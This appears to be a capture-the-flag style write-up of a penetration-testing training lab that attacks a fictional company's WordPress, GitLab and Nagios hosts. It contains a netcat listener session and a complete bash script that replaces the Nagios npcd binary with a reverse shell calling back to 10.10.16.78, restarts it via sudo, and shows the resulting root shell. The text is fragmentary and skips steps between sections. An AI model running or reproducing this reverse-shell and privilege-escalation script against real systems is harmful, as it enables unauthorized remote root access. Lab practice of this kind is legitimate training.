Attacking Common Applications - Skills Assessment II
During an external penetration test for the company Inlanefreight, you come across a host that, at first glance, does not seem extremely interesting. At this point in the assessment, you have exhausted all options and hit several dead ends. Looking back through your enumeration notes, something catches your eye about this particular host. You also see a note that you don't recall about the gitlab.inlanefreight.local vhost.
Performing deeper and iterative enumeration reveals several serious flaws. Enumerate the target carefully and answer all the questions below to complete the second part of the skills assessment.
What is the URL of the WordPress instance?
We have two options here: we can fuzz to determine the complete URL of WordPress or just use enumeration using curl commands. You can inspect the source code using developer mode on browsers.
After saving it we need to create a service and set our created command then click Run check command or Run. However after that you need first to start your listener with nc on the same port as the Bash reverse shell.
starting listener
nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.78] from (UNKNOWN) [10.129.15.254] 57396
bash: cannot set terminal process group (5790): Inappropriate ioctl for device
bash: no job control in this shell
nagios@skills2:~$ ls
So now we need to privilege escalate to root. To begin hunting for root access
So we can privilege escalate by exploiting the Nagios service i use this script but you can also do it manually.
#!/bin/bash
# Create npcd script
echo "#!/bin/bash" > /tmp/npcd
echo "bash -c 'bash -i >& /dev/tcp/10.10.16.78/4445 0>&1'" >> /tmp/npcd
# Grant executable permissions on the npcd script
chmod +x /tmp/npcd 2>/dev/null
# Stop the npcd service
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
# Replace original npcd script
cp /tmp/npcd /usr/local/nagios/bin/npcd 2>/dev/null
echo "[+] Start Up your listener"
sleep 1
echo "[+] nc -lvnp 4445"
sleep 15
echo "[+] Expect your shell noobies"
# start service to recieve reverse shell
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
sleep 5
echo "[+] nice job hacker"
And starting our listener using the same port as in the script.
nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.10.16.78] from (UNKNOWN) [10.129.15.254] 37662
bash: cannot set terminal process group (7048): Inappropriate ioctl for device
bash: no job control in this shell
root@skills2:/# ls
